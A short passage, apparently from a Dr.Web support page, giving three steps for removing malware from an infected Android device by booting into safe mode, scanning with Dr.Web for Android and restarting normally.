    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android